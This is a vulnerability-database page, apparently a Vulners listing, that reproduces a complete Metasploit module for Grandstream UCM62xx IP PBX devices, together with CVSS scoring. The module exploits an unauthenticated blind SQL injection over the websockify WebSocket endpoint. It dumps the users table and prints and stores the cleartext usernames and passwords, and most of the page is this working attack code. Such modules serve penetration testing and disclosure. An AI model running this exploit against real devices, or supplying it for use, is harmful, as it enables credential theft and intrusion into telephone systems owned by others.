Lucene search

K
metasploitJbaines-r7MSF:AUXILIARY-GATHER-GRANDSTREAM_UCM62XX_SQL_ACCOUNT_GUESS-
HistoryFeb 15, 2022 - 2:23 p.m.

Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump

2022-02-1514:23:19
jbaines-r7
www.rapid7.com
87

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.007 Low

EPSS

Percentile

79.3%

This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx IP PBX to dump the users table. The injection occurs over a websocket at the websockify endpoint, and specifically occurs when the user requests the challenge (as part of a challenge and response authentication scheme). The injection is blind, but the server response contains a different status code if the query was successful. As such, the attacker can guess the contents of the user database. Most helpfully, the passwords are stored in cleartext within the user table (CVE-2020-5723). This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Rex::Proto::Http::WebSocket
  include Msf::Auxiliary::Report
  include Msf::Exploit::SQLi

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump',
        'Description' => %q{
          This module uses a blind SQL injection (CVE-2020-5724) affecting the Grandstream UCM62xx
          IP PBX to dump the users table. The injection occurs over a websocket at the websockify
          endpoint, and specifically occurs when the user requests the challenge (as part of a
          challenge and response authentication scheme). The injection is blind, but the server
          response contains a different status code if the query was successful. As such, the
          attacker can guess the contents of the user database. Most helpfully, the passwords are
          stored in cleartext within the user table (CVE-2020-5723).

          This issue was patched in Grandstream UCM62xx IP PBX firmware version 1.20.22.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'jbaines-r7' # Vulnerability discovery, original poc, and Metasploit module
        ],
        'References' => [
          [ 'CVE', '2020-5724' ],
          [ 'CVE', '2020-5723'],
          [ 'URL', 'https://firmware.grandstream.com/Release_Note_UCM6xxx_1.0.20.22.pdf'],
          [ 'URL', 'https://raw.githubusercontent.com/tenable/poc/master/grandstream/ucm62xx/dump_http_user_creds.py']
        ],
        'DisclosureDate' => '2020-03-30',
        'DefaultOptions' => {
          'RPORT' => 8089,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [],
          'Reliability' => []
        }
      )
    )
    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])
  end

  # Craft the SQL injection into the challenge request
  def create_injection_request(query)
    id = Rex::Text.rand_text_alphanumeric(12)
    req = "{\"type\":\"request\",\"message\":{\"transactionid\":\"#{id}\",\"version\":\"1.0\",\"action\":\"challenge\",\"username\":\""
    req.concat("\' OR ")
    req.concat(query)
    req.concat('--"}}')
    req
  end

  # Retrieve the server's response and pull out the status response. The return value is
  # the server's response value (or 1 on failure).
  def recv_wsframe_status(wsock)
    res = wsock.get_wsframe
    return 1 unless res

    begin
      res_json = JSON.parse(res.payload_data)
    rescue JSON::ParserError
      fail_with(Failure::UnexpectedReply, 'Failed to parse the returned JSON response.')
    end

    status = res_json.dig('message', 'status')
    return 1 if status.nil?

    status
  end

  # Extract the version from the cgi endpoint and compare against the
  # known patched version (1.0.20.22)
  def check
    normalized_uri = normalize_uri(target_uri.path, '/cgi')
    print_status("Requesting version information from #{normalized_uri}")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalized_uri,
      'vars_post' => { 'action' => 'getInfo' }
    })

    return Exploit::CheckCode::Unknown('No response from target!') unless res && (res.code == 200)

    body_json = res.get_json_document
    return Exploit::CheckCode::Unknown("Got response from target but it didn't contain a JSON body!") if body_json.empty?

    prog_version = body_json.dig('response', 'prog_version')
    return Exploit::CheckCode::Unknown('JSON response obtained from target, but no prog_version field could be found!') if prog_version.nil?

    if Rex::Version.new(prog_version) < Rex::Version.new('1.0.20.22')
      return Exploit::CheckCode::Appears("The self-reported version is: #{prog_version}")
    end

    Exploit::CheckCode::Safe("The self-reported version is: #{prog_version}")
  end

  def run
    sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
      wsock = connect_ws(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, '/websockify')
      )

      wsock.put_wstext(create_injection_request(payload))
      recv_wsframe_status(wsock) == 0

    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      res = e.http_response
      fail_with(Failure::Unreachable, e.message) if res.nil?
      fail_with(Failure::Unknown, e.message)
    end

    users = sqli.dump_table_fields('users', ['user_name', 'user_password'])
    users.each do |user|
      print_status("Found the following username and password: #{user[0]} - #{user[1]}")
      store_valid_credential(user: user[0], private: user[1])
    end
  end
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

0.007 Low

EPSS

Percentile

79.3%

Related for MSF:AUXILIARY-GATHER-GRANDSTREAM_UCM62XX_SQL_ACCOUNT_GUESS-